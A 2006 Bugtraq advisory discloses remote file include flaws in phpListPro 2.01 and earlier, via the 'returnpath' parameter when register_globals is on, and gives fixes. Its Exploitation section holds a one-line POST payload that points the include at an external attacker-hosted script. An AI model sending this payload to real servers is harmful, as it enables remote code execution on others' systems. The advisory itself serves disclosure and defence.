Bugtraq: [MajorSecurity] phpListPro <= 2.01 - Multiple Remote File Include Vulnerability

[admin () majorsecurity de]

[MajorSecurity] phpListPro <= 2.01 - Multiple Remote File Include Vulnerability 
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Software: phpListPro 
Version: <=2.01
Type: Multiple Remote File Include Vulnerability
Date: May, 8th 2006
Vendor: SmartISoft
Page: http://smartisoft.com
Risc: High


Credits:
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'Aesthetico'
http://www.majorsecurity.de


Affected Products:
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phpListPro 2.01 and prior


Description:
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PHP/mySQL rating TopList professional.


Requirements:
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register_globals = On


Vulnerability:
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Input passed to the "returnpath" parameter in "editsite.php", "addsite.php", "in.php" is not
properly verified, before it is used to include files. 
This can be exploited to execute arbitrary code by including files from external resources.


Solution:
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Edit the source code to ensure that input is properly sanitised.

Set "register_globals" to "Off".


Exploitation:
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Post data:
returnpath=http://www.yourspace.com/yourscript.php?